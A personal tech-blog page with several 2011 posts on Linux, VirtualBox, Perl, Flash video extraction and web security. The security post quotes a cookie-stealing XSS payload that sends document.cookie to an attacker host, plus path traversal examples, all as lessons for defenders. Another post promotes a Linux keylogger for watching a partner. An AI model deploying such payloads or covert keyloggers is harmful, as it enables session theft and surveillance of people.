Kirsle.net logo Kirsle.net

Welcome to Kirsle.net!

This is the personal homepage of Noah Petherbridge, and it's where I keep my web blog and various creative projects.

I blog about anything I find interesting, and since I have a lot of varied interests, my blog entries are kind of all over the place. You can browse my tags to sort them by topic and see which ones I frequently write about, or the archive has a complete history of my posts, dating back to 2008!

Besides my blog, I have pages for my creative projects, which are linked to on the navigation bar.

I write a lot about Linux and Android, Minecraft, and I like to rant about stuff. Generally anything that makes me curious. Also check out my Bookmarks for all sorts of cool websites about various topics I'm interested in.

For the geeks: this website respects your privacy and doesn't run any third party ads or analytics. This site speaks HTTP and doesn't require any JavaScript to work.

VirtualBox Scale Mode
December 17, 2011 by Noah
Updated: added pictures. Bumped the timestamp to make this post new again.

I don't know how I missed this, but apparently VirtualBox finally supports a "Scale Mode."

I've always wanted this feature. Why, you ask?

One easy example is for running an old operating system (older than Windows 2000) that isn't supported by VirtualBox, so that there are no Guest Additions for it. Guest Additions for supported OS's install extra drivers for the virtual machine, so that when you put VirtualBox into "Full Screen" mode, the guest OS will automatically increase its screen resolution to fit your display. When it can't do that, it will just display the screen at its literal resolution and put a black margin to fill in the extra space.

Here is an expertly Photoshopped demonstration of what I'm talking about. If you were running a Windows 3.1 virtual machine at an 800x600 screen resolution, and you put the VM full-screen, this is what it would look like on your 1366x768 monitor:

Full Screen Mode

Another example: even on supported guests, running an older game like Starcraft (which runs in a resolution of 640x480) had this problem too: if the VM is running Full Screen and you start Starcraft... instead of the game's display stretching across your whole monitor, it stays at 640x480 pixels and is centered on the screen. This sucks.

So it seems VirtualBox has finally added Scale Mode (available in the "Machine" menu along side Full Screen and Seamless modes). There's one quirk to it, though: Scale Mode and Full Screen don't work together. On my system, going into Scale Mode put the virtual machine into a window on my screen. This window could be maximized, but it couldn't be made full screen. So that sorta sucks.

Luckily, my Linux window manager (xfwm4, the window manager of the XFCE desktop environment) supports putting any window full screen, whether the window wants it or not. This means the window decorations are taken away and the contents of the window are resized to fill the display. Success! I can now run full screen, scaled resolution guest operating systems. :)

Scale Mode
Scale mode with xfwm4's full-screen option gives you a "native" experience.

Tags: 5 comments | Permalink
Neutering a Fake Antivirus Virus
May 27, 2011 by Noah
Tonight, my great aunt Connie needed some help with her computer. Normally, I don't do tech support for Windows users, but it was kinda too late to object to it because my grandma told her I'd be able to help her before even asking me. So I figured I'd just give it a look, tell her to what extent her computer is messed up, and tell her what she should do about it, and not break a sweat doing anything to actually help.

Luckily, this wasn't one of those typical, "I've installed eleven different PC cleaning programs and they all installed all kinds of malware and my computer takes two hours to boot and etc etc".

Instead, her only real concern was that when she logs on to the desktop, she gets this window popping up telling her the computer is infected with X amount of viruses, then it will pretend to scan your computer, and finally tell you to buy the full version to take care of the infections.

Yeah, one of those viruses.

I noticed that the desktop was solid black except for the task bar, and no icons were on the desktop. All that was visible on-screen was this one window. And, this window refused to close: it simply ignored the X button being clicked. I right-clicked on the task bar and noticed that "Task Manager" was greyed out.

Great, it's one of those viruses that disables Task Manager. Starting taskmgr from the Run dialog confirmed:

Task Manager has been disabled by your administrator.
I've seen the likes of these before. Usually, if a virus does this (and a lot of viruses do), they'll also disable your Registry Editor, so that you can't just go in and re-enable the Task Manager. I was expecting I'd need to write a program to fix the registry for me because Regedit would be disabled, and if so, this is where I would've called it a day.

Fortunately, the virus didn't stop me from getting into the Registry Editor. So, I went in and re-enabled Task Manager. I just had to make sure I deleted the following key from both HKEY_CURRENT_USER and HKEY_LOCAL_MACHINE (in this case, only the LOCAL_USER was affected by this and all the other registry changes).

\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr (1)
In Task Manager, I first killed off that GUI, and a couple other suspicious looking names.

Back in the Registry, I went to the Run and RunOnce keys in both places to find the name of the virus (viruses always place their keys in these places in the registry). It turns out this virus's main EXE file was under C:\Documents and Settings\All Users. So, I went there in Windows Explorer.

This folder was completely empty. OK, the files were all hidden, so I went into the Folder Options to enable the "Show hidden files/folders" option. There they are! I saw the hidden EXE's that this virus was running off of. After a few seconds, all the icons disappeared again. Clever virus! It changed my "Show hidden files/folders" option back off again.

I turned it back on, and deleted these files. Then, I rebooted the computer (since I removed all the startup keys--and made sure I looked in the "Startup" folder of the start menu)--the viruses weren't likely to start back up after a reboot. I was right. Virus has been neutered. Now I had to clean up the damage.

First, I had to fix the desktop. The virus had disabled right-clicking on the desktop, disabled desktop icons, and disabled the ability to set the desktop wallpaper. I had to fix this by deleting these keys from the registry (again, only under CURRENT_USER, but check for LOCAL_MACHINE too if this ever happens to you):

\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu (1)
\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop (1)
\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper (1)
This let me restore the desktop to its original glory. Then, I noticed the Start Menu was just absolutely empty. There were no "recently used" apps in the menu, and when I moused over the "All Programs" link, I just got a small pop-up menu that said "(empty)"

So I right-clicked the Start button to "Explore", and noticed that all the start menu folders were marked as hidden. This was done in the local user account and the "All Users" folder. So, I un-hid all these folders to bring back the start menu items. But, this virus did something even more evil than that: it deleted every shortcut file from the Start Menu.

So, we got all the folders back in the Start Menu, but every folder was empty. Like, "Start->All Programs->AOL Instant Messenger->(empty)".

This virus really went to great lengths to make my great aunt's life more difficult. I neutered it and undid most of the damage, but there's no automatic way to restore the Start Menu shortcuts. Plus, I noticed that many of the programs mentioned in the Start Menu aren't even installed anymore at all. Maybe the virus actually deleted as many programs from the computer as it could? The only programs in "C:\Program Files" were core built-in programs that come with Windows (speaking of which, every folder in C:\Program Files was marked Hidden as well!)

If this was my computer, I'd reinstall the OS. But it's not, and I'm not getting paid for any further tech support, but figuring out what extent this virus messed up the system was fun enough in itself.

Tags: 4 comments | Permalink
Thoughts on Eclipse IDE
May 26, 2011 by Noah
This is a little rant about the Eclipse IDE for Java (and other languages, but it's mainly a Java IDE).

I hate it.

I have to use Eclipse because my current project at work is a Java project, with a massive amount of source code, and I have no idea how I'd compile and run the project except with Eclipse. Also, there's a significant amount of source code managed by CVS in a hundred different projects, and authentication is made complicated by a VPN and I have no intentions of trying to manage CVS via command line.

Eclipse creates more work for me just by being Eclipse. The CVS system on it is broken, and I frequently get CVS conflicts on files that I didn't even touch between updates, which cause syntax errors, some of which aren't immediately obvious (sometimes they cause runtime errors instead of compile-time errors).

Then, Eclipse likes to just crash from time to time with no explanation. I ended up jury-rigging a chain of shell scripts just to start Eclipse to try to minimize how often it crashes, and catch the errors (if any) when it does.

Namely, I needed to use ulimit to increase the number of filehandles Eclipse can have to keep it from crashing. Only root can do this, though, and I don't want to run Eclipse as root, because I don't want new files coming in through CVS to be owned as root and make my job more difficult.

So, just to start Eclipse, I had to set up /etc/sudoers to not require a password to use sudo, and allow sudo to run without a TTY (these are both bad security practices, btw), and to sudo execute this script as root:

$ cat start_eclipse.sh
#!/bin/bash

# increase fileno limit
ulimit -n 50000
sudo -u kirsle "./start_eclipse.pl" &
This uses root only to increase the filehandle limit, then it switches to kirsle (my user) so nothing further runs as root, and runs start_eclipse.pl, a Perl script that attempts to catch errors when Eclipse goes down like a cheerleader at homecoming:
$ cat start_eclipse.pl 
#!/usr/bin/perl -w

my $out = `./eclipse 2>&1`;
if ($? != 0) {
	$out =~ s/\'/\\'/g;
	system("zenity", "--info", "--text", $out);
}
Ugh. I strongly prefer a plain old text editor like vim or gedit.
Tags: 0 comments | Permalink
GNOME's Impact on Everything
May 25, 2011 by Noah
Today, Fedora 15 was released, so naturally I installed it right away. Despite a couple small bugs, it's working pretty well so far. However, I have yet another small rant to make about GNOME.

I've been very sceptical about GNOME 3 and gnome-shell (as I've talked about here, here and here). So, I had jumped ship to XFCE a couple years ago and will not be a GNOME user in the foreseeable future.

Now that Fedora is finally shipping GNOME 3, though, the GNOME dev team has again impacted me in ways I wish they wouldn't.

GTK2 Themes and GTK3 Themes

GTK is the widget toolkit used by GNOME and XFCE, and a lot of applications such as Firefox. GTK themes therefore are responsible for styling up the buttons, scrollbars, and other GUI elements in any GTK app.

The first impact of GNOME on the rest of the software ecosystem is that they moved to GTK+ 3.0 and everybody else is still catching up. How this affects XFCE?

  • XFCE is still using GTK 2. Whatever, this is up to the XFCE team to work on.
  • There is an extreme lack of GTK 3 themes. Fedora always ships with a dozen themes, but, only the default theme has a GTK 3 version. This means that under XFCE and all other GTK 2 desktop environments, themes work as they have before, but all the GTK 3 apps are broken now.
Screenshot
Screenshot of two XFCE apps (GTK 2) compared with two GNOME apps (GTK 3).

Setting any custom theme in XFCE makes all GNOME apps look ugly because there is no matching GTK 3 theme. Oh well, you think, just don't run GNOME desktop apps in XFCE?

The problem is that Red Hat and Fedora drink so much of the GNOME kool-aid, that all their other apps that aren't GNOME specific are also using GTK 3. This includes: the Network Manager (seen in the screenshot), and all the PackageKit GUIs (for graphically installing updates). There are probably other things too. This means that, to use XFCE or basically anything besides GNOME, you have to deal with ugly themes on a lot of "core" Fedora GUIs.

This problem should hopefully go away in the next release or two of Fedora, as XFCE and other apps are updated to GTK 3. I just hope Firefox doesn't decide to make the switch too early, though... that would drive me nuts if Firefox started looking this ugly.

My temporary hack of a workaround is that I made a symlink for gtk-3.0 for my current theme that points to the default theme's gtk-3.0, so at least GTK 3 apps don't look ugly... but they still don't "fit in" with my GTK 2 apps.

Volume Control Applet

GNOME's volume control applet used to be a program that puts an icon in your Notification Area to control your volume. This was cool: you could click the icon and it would pop down a slider for adjusting the volume, and if you went into the volume settings GUI you were able to adjust the volume up to 150% if you wanted to.

This is all gone now.

Why? Oh, because GNOME Shell has its own volume control icon built right into the desktop GUI directly, and it therefore has no need for a Notification Area based applet anymore. Never mind that other desktop environments like XFCE would find such a thing useful. Now I'm forced to go back to the old school "Mixer" applet in XFCE, which is nowhere near as elegant as the GNOME volume control applet used to be.

I'm tired of this "the whole universe revolves around GNOME" mentality that the GNOME developers exhibit. Most other desktop environments play nice with each other, most try to follow Freedesktop.org standards, but GNOME... GNOME wants to be your desktop environment; it wants to be your entire operating system.

Update

It seems GNOME 3 does still have a Notification Area based volume control... they renamed the command from gnome-volume-control-applet to gnome-sound-applet, provided by the package control-center rather than gnome-media. Right-clicking the icon to go to the Sound Preferences brings up a GTK-3 GUI that includes a volume slider that goes to 150%.

So all hope is not lost, yet.

Tags: 12 comments | Permalink
FastCGI
April 29, 2011 by Noah
I decided I'd take some time today to investigate setting up mod_perl to speed up Siikir.com and Kirsle.net, because some of the page load times on both sites were just unacceptable. They both run well on my local dev server (using all the same data as the production server), but I suspect some combination of a slower CPU or slow file I/O time on my production server is the culprit.

With mod_perl, the Apache server would run its own built-in Perl interpreter which would be re-used between requests, so that the overhead of having to load the Perl interpreter for every request goes away.

I tested it on my dev server first, and got it all set up and then realized it doesn't work with mod_suexec. With mod_suexec, you can have multiple users on the web server who each have their own websites, and their Perl/CGI scripts will execute in the name of the user instead of as the global Apache user. So then, it makes permission handling easier: the Perl script can read and write files owned by the same user who owns the entire website. But, with mod_perl, the Apache user executes the Perl scripts and this causes problems.

So I found an alternative: FastCGI. It's black magic to me, but it works similarly to mod_perl (reusing the same Perl process for multiple requests), but it does work with mod_suexec. So, I've gotten Kirsle.net and Siikir.com to both use FastCGI now, and, well, both sites run a lot faster. :)

Every request still creates its own unique instance of the Siikir CMS object, but I did tweak my JsonDB plugin a bit for performance too: while every request has its own CMS object, the JsonDB plugin is always a singleton object--it is only initialized once, and then it is shared between every request. Also, it caches the DB documents when it reads them and keeps the cache in memory until the document changes on disk. So this helps tremendously with the file I/O problem on my server. Running the search page on Siikir.com gives results in less than 3 seconds, whereas before it would easily take 10 to 15 seconds.

I'm still keeping a lookout for new bugs that may emerge, though. I have to test and make sure the JSON document caching is working properly, for example. But for now everything seems to be working out pretty well. :)

Tags: 2 comments | Permalink
Never Trust Your Users
April 27, 2011 by Noah
I realize the title of this blog is basically Rule #1 about web application security, but sometimes this rule needs to be applied in some less-than-obvious situations.

Here are some of my anecdotes from the times when I've personally been bit by this, so that hopefully you won't repeat my mistakes and will be more aware of just how many ways users can try to get past your site's defenses.

Don't trust your forms

This is the most obvious place you shouldn't trust input coming from your users. Anything the user fills out in the form must be validated on the server side, regardless of what restrictions you may have done on the client side.

My anecdote: I once wrote a super simple guestbook in Perl. It had three form fields: a name and an e-mail which were both single-line text boxes, and a textarea which took multiple lines of text. Guestbook entries were stored in a flat text file, with one line per entry, so it looked like this:

Dave|dave@example.com|Hey, nice site!
Mike|mike@example.net|Hey, just leaving a guestbook entry!
Obviously, I stripped all HTML code out from all the form fields, in order to protect myself against an XSS attack. But, I figured, the "name" and "email" are text boxes that can't have multiple lines, and so I only filtered multiple lines from the "message" (I substituted them with a "<br>" instead, after removing other HTML, so they would display with multiple lines on the "view guestbook" page).

How I got bit: One of those Dumb Submitter Bots found my guestbook and spammed every field on the page with their multiple-line junk mail including hundreds of links to sites that are sure to infect you with a virus.

So, my guestbook.txt started to look like this:

Dave|dave@example.com|Hey, nice site!
Mike|mike@example.net|Hey, just leaving a guestbook entry!
Rolex watches 80% off!

[url=spam site 1]click here![/url]
[url=spam site 2]click here![/url]|spammer@spammy.ru|Rolex watches 80% off!<br><br>[url=spam site 1]click here![/url]...
The result wasn't too bad though: just a few guestbook entries displayed on the page that shouldn't and made the page look broken.

Lessons learned: Never, NEVER trust your form inputs. Literally ANY type of data can be sent under ANY of your fields. To make it clear, even your <select> boxes aren't safe. You may think you limit your user to sending only one of a few options when they submit the form, but they can still easily submit anything else in that field.

Be careful with filesystem access

On one of my first content management systems, I had links with URIs that looked like this:
/index.cgi?p=about
My site was coded to take this parameter and open a text file named "about.txt" to get the content of the page the user wanted, something along the lines of:
my $page = "./private/pages/" . $q->param("p") . ".txt";
One of my friends kindly broke this for me and told me what he did. What he did was linked to a page with a URI that looked more along the lines of this:
/index.cgi?p=../users/admin
And so the file my site was opening was "./private/pages/../users/admin.txt", or, more canonically, "./private/users/admin.txt"; and so, he was able to download the private user information for my admin user, including the password (I don't think I even hashed my passwords back then, either). Bad!

Any user-supplied data that is going to be used to access the server filesystem should be thoroughly filtered. Nowadays I would use a regular expression like this:

$p =~ s/[^A-Za-z0-9\.\-]//g;
Stripping out everything that isn't a number, letter, period or dash.

Watch out for HTTP Referrers and User-Agents!

On one iteration of my site, I had pages that would list the most popular web browsers/crawlers, and the list of links on the Internet that link to my site. I was getting this information from the "User-Agent" and "Referer" headers that a browser sends when they request a page from your server.

This is an unexpected vector of attack. User-Agents and Referers are just as easy for a malicious user to edit to anything they want as a form field. So, once I was viewing my User-Agent page and I got a JavaScript error in my browser. Investigating, there was a bit of broken JavaScript code on my page, inside my list of User-Agents!

It was along the lines of this:

<script>window.location = "http://something-malicious.ru/cookie.php?cookie= + document.cookie;</script>
The idiot cracker made a syntax error though which broke the script instead of letting him steal my session cookie. But, it just goes to show that you can't even trust browser headers.

Beware of X-Forwarded-For

This one I haven't been bitten by personally but a security researcher I know tipped me off about it.

A great many web applications rely on the environment variable REMOTE_ADDR, which contains the remote user's IP address. Web apps log your IP along with the things you post on the site, so that if they need to ban you for spamming, they're able to ban you by your IP address.

But this breaks when you get proxy servers involved, because a proxy server requests your web app on behalf of numerous users on the other side, and if you ban the proxy server's IP address, you ban a lot of innocent users. So, a lot of proxy servers will send an "X-Forwarded-For" header to your server which contains the IP address of the user behind the proxy.

So, a lot of poorly coded web apps will prefer X-Forwarded-For instead of the REMOTE_ADDR, for example by using code like this:

my $ip = $ENV{HTTP_X_FORWARDED_FOR} || $ENV{REMOTE_ADDR};
But, X-Forwarded-For should be considered user-supplied information. A malicious user can set this header to anything they want, which means they can try embedding HTML code in it (so when your web forum shows the IP address to your admins, the HTML code executes instead), or they may merely fake their IP address with it (like setting it to the localhost address, 127.0.0.1).

Anyway, I hope after reading this you'll keep in mind that the phrase "never trust your user" extends even to some pretty unusual places.

Tags: 0 comments | Permalink
Building a Better Keylogger
April 24, 2011 by Noah
As some of you may or may not have known, in the past I wrote a keylogger in Perl for Linux systems. The purpose was to see what my significant other was doing to my computer while I was away from it, and certainly not to log passwords and things that malicious people use keyloggers for. I posted the source code to it here with the express disclaimer that it should be used only for educational purposes. ;)

Well, that keylogger had its problems. Although it had a couple of pros in there too compared to my new keylogger. The problem it had was that it required you to have root privileges on the Linux system you run it on, because it needed to read from /dev/input/* devices directly, which only the root user has permission to do. It also needed you to figure out which device node to read from ahead of time. And finally, it didn't work on some types of keyboards (I only tested it with a USB keyboard but I've heard reports from others that it just doesn't work for them).

The only pro it had was that it would log keys at the hardware level, including on text mode terminals.

Enter the New Keylogger

After reading this blog post about GUI isolation in *nix, I found out the trick to reading keys in the X Window System without root privileges. So, I wrote a new keylogger to take advantage of this new information I learned.

And so, the new keylogger does not require root privileges! The new keylogger relies on the X Window System, though, but this is the de facto windowing system on just about every Linux/Unix system out there today. This also means it will only log keys entered into graphical applications (for desktop *nix users though, this would log keys for just about everybody) so users in a text-mode terminal won't be logged.

One issue I ran into though is that the xinput test command seems to expect you to have a terminal (or TTY), i.e. that you run the command from a graphical terminal. So trying to read the output of this command in Perl caused some weird buffering issue, where the command wouldn't give any output until about 100 characters were typed. So, the script requires the IO::Pty::Easy module which creates a virtual TTY so that xinput believes you're running it from a real shell.

The new keylogger's source code can be found here. Have fun! :)

More Ideas

They say that the Qubes system isn't vulnerable to this. In Qubes you basically set up different "security zones" for your various apps, to prevent the apps from messing with each other. On the back end it seems that it just uses multiple X servers to partition off the various zones. I have an idea how my keylogger could defeat even this...

When run from a graphical terminal, the $DISPLAY environment variable is already set to your current X display, e.g. ":0.0". But when launched from a non-graphical environment, the script would need to set the value of $DISPLAY itself, in order for xinput to know which X server to connect to.

Well, maybe if the keylogger changes up the value of $DISPLAY to log from different X servers it may be able to cross the partitions set up by Qubes. I'll have to investigate this further. (6)

Tags: 3 comments | Permalink
Don't mind me, I'm just a noob
April 13, 2011 by Noah

Today I learned the hard way that file handle names in Perl can conflict with package names of Perl modules.

I was adding emoticon support to my Siikir CMS ( :-) ), and so I had downloaded this open source Tango emoticon set that came with an emoticons.txt file that described what trigger texts correspond to each PNG image. So, I wanted to write a quick Perl script that would use the JSON module and convert this plain text emoticon list into a JSON file that the Siikir CMS could use.

For some slight backstory, Siikir uses JSON all over the place. The entire database system is using JSON, and so Siikir has a "JsonDB" plugin that manages all database access. It looks like this:

my $db = $self->Master->JsonDB->getDocument("users/by-name/kirsle");

Anyway, the JsonDB plugin creates a JSON object as follows:

$self->{json} = JSON->new->utf8->pretty();

This has always worked fine. But for some odd reason, my little Perl script that converted my emoticons to JSON for me was throwing this bizarre error message from the same constructor:

Can't locate object method "new" via package "IO::File" at mkjson.pl line 4.

This made no sense to me. What, was IO::File failing to load? So I add an explicit "use IO::File;" in my code (ordinarily, if JSON requires this module, it should've auto-loaded when I did "use JSON;", but something was wrong here). This turns the error message into this:

Can't locate object method "utf8" via package "GLOB" at mkjson.pl line 4.

WTF. I try to debug this weird error message in all the usual ways (like using Data::Dumper to dump the contents of %INC, and verify that the JSON.pm being loaded is the same one the Siikir CMS uses; it was). After running out of ideas, I scrapped using JSON.pm in this script and just hard-coded it to write JSON code to the output file directly.

Then it was time to create the Emoticons plugin for Siikir, which would be a centralized piece of code to render emoticons for every page that wants them. I couldn't use the JsonDB to manage the emoticons now, because each emoticon "theme" is supposed to keep its own "emoticons.json" file within itself, instead of putting them in my global database directory. So, Emoticons.pm needed to use its own JSON object.

I was bizarrely running into the same dumb error messages in my Emoticons plugin too. I thought for a minute that maybe, the environment of my bash terminal running my small script was different than the Apache server's environment, because my JsonDB plugin never threw these sorts of errors. But now my Emoticons plugin was throwing errors just like my small script was!

Well, here would be the full source of my small script (I added in the exit 1 right after the JSON constructor line just to test the JSON line without the chance of running the entire script again should the error miraculously disappear):

#!/usr/bin/perl -w

use strict;
use warnings;
use JSON;

use Data::Dumper;
#die Dumper(\%INC);

my $json = JSON->new->utf8->pretty();
exit 1;

open (EMO, "emoticons.txt");
open (JSON, ">emoticons.json");
print JSON "{\n"
	. "\tname: 'Tango',\n"
	. "\tsource: 'http://digsbies.org/site/content/project/tango-emoticons-big-pack',\n"
	. "\tmap: {\n";
while (my $line = <EMO>) {
	chomp $line;
	$line =~ s/[\x0D\x0A]+//g;
	next unless length $line;

	my ($img,@codes) = split(/\s+/, $line);
	my @escaped;
	foreach my $c (@codes) {
		$c =~ s/\'/\\'/g;
		push (@escaped, $c);
	}
	my $escaped = join(", ", map { qq{'$_'} } @escaped);
	print JSON "\t\t\"$img\": [ $escaped ],\n";
}
print JSON "\t}\n}";
close (JSON);
close (EMO);

See the problem? Apparently, because I had named my output filehandle "JSON", this was conflicting with the package named JSON. If I cut out all of the code after the "exit 1", the error went away and the code would compile and run just fine. The same problem occurred in my Emoticons plugin because I was using "JSON" as the filehandle name when reading the JSON text from disk. Changing the name for the filehandle fixed my problem.

My JsonDB module used the names READ and WRITE for its filehandles, which is why this problem didn't occur there.

So, apparently, filehandles must share the same namespace as packages. The annoying thing is that the errors given are completely misleading. :(

Tags: 3 comments | Permalink
Siikir CMS Update
April 9, 2011 by Noah
I've updated the CMS that powers kirsle.net and Siikir again. :-D New features now are:

* There's an admin GUI for reconfiguring the site's plugins (not useful for end users)
* All photo thumbnails are now square shaped. I'm using the jQuery Jcrop plugin for this.
* Comments on everything by a guest user now supports Facebook Graph API to login with Facebook.

These changes are now live on both sites. Also, the web blog and photo commenting code is live on Siikir now too (but blogs are still for admins only until I work out a safe way to restrict HTML for the regular users).

Everybody's existing photos were automatically cropped down. New photos uploaded get cropped automatically, but the user is immediately given the option to change the thumbnail himself. You can also re-crop the photo at any time from your photo view page.

Tags: 3 comments | Permalink
Download Any Flash Video in Linux
April 6, 2011 by Noah
Reason #65,535 that I love Linux: the flash plugin makes it relatively easy to download any embedded flash video from any site (ex. YouTube and all sites like it).

The old (but still the current) version of the Adobe Flash plugin (10.2) would simply save all Flash videos (.flv files) in /tmp with names like "/tmp/Flash########" where the #'s are random numbers and letters. You could simply buffer a video on YouTube or any other video hosting site, then go to /tmp in your file browser and copy these files somewhere else. They typically get deleted when Flash exits.

The new version of the flash plugin (10.3) tries to be a little more clever. It still creates the files under /tmp, but then it deletes them immediately while still keeping them open. In Linux, if an opened file is deleted, the OS postpones deletion of the file until the process using it lets it go. So the file can't be seen when you look in /tmp, but the flash plugin can still use it until it's done with it.

So how do you get the FLV files from it now?

1) Get the process ID of the flash plugin

$ ps aux | grep flash
kirsle    3324  3.3  1.5 281488 44716 ?        Sl   12:01  10:41 /usr/lib/xulrunner-2/plugin-container /home/kirsle/.mozilla/plugins/libflashplayer.so -grebase /usr/lib/xulrunner-2 -appbase /usr/lib/firefox-4 3164 true plugin
2) Look at the process's open file descriptors in /proc
$ cd /proc/3324/fd
3) List the files to find the FLV file (it will be a symbolic link to a "deleted" /tmp/Flash* file)
$ ls -hal | grep Flash
lr-x------ 1 kirsle kirsle 64 Apr  5 12:01 17 -> /tmp/FlashXX9ew4CF (deleted)
4) Copy it (by ID) somewhere else
$ cp 17 ~/videoname.flv
Easy. One could trivially write a shell script that does this automatically too.

This method should work for the foreseeable future, unless Adobe finds some really clever way to stop this, like encrypting video files somehow, or holding them completely in RAM (not likely because some video files can be pretty large). Processes can't hide anything under /proc. :)

More info about /proc.

UPDATE (May 17 2011): I've written a quick Perl script that copies all active Flash videos to your home directory. It doesn't care about the process name; it just loops through all PIDs in /proc, looking for any that owns a "/tmp/Flash*" name, and copies them to $HOME. It works even when you have multiple videos buffered at the same time.

Download it from: sh.kirsle.net/flashget.

Update - Google Chrome

(Jan 11, 2015)

This method can also work for Google Chrome (the above was for Firefox/other browsers that use the old Flash plugin system). In Chrome, the Pepper API is used for the Flash plugin instead.

1) Get the PID of the Pepper plugin for Flash

$ ps aux | grep ppapi
noah     14152 25.1  1.4 980444 87828 ?        Sl   15:37   0:05 /opt/google/chrome/chrome --type=ppapi --channel=13618.24.1890984534 --ppapi-flash-args --lang=en-US
2) Get into this PID's file descriptors

*NOTE:* This one requires root access, unlike for the Firefox instructions above.

$ sudo -i
# cd /proc/14152/fd
# ls -hal
[...cut...]
24 -> /home/noah/.config/google-chrome/Default/Pepper Data/Shockwave Flash/.com.google.Chrome.p9GBU8 (deleted)
Look for the file descriptor that points to a "deleted" Flash file (in this example, it's file descriptor #24).

3) Copy it somewhere else

# cp 24 ~your_user/24.flv
# chown your_user:your_user ~your_user/24.flv
So, the process is similar for doing it for Firefox, except:
  • Look for the ppapi process instead of the plugin-container or libflashplayer.so
  • Use root privileges to get into that process's file descriptors (it seems Chrome locks down the folder so only root can read it).
  • The "deleted" file isn't under /tmp anymore, but in a user's home folder with a URI that mentions Flash.
I have updated my Perl script, flashget, so that it works with both Firefox and Chrome style Flash plugins. You need to run it as root if you want to pluck videos from Chrome, however. Usage has been updated so that you can specify an output directory (otherwise, running it as root would output the Chrome videos into /root instead of your main user's home folder).
Tags: 18 comments | Permalink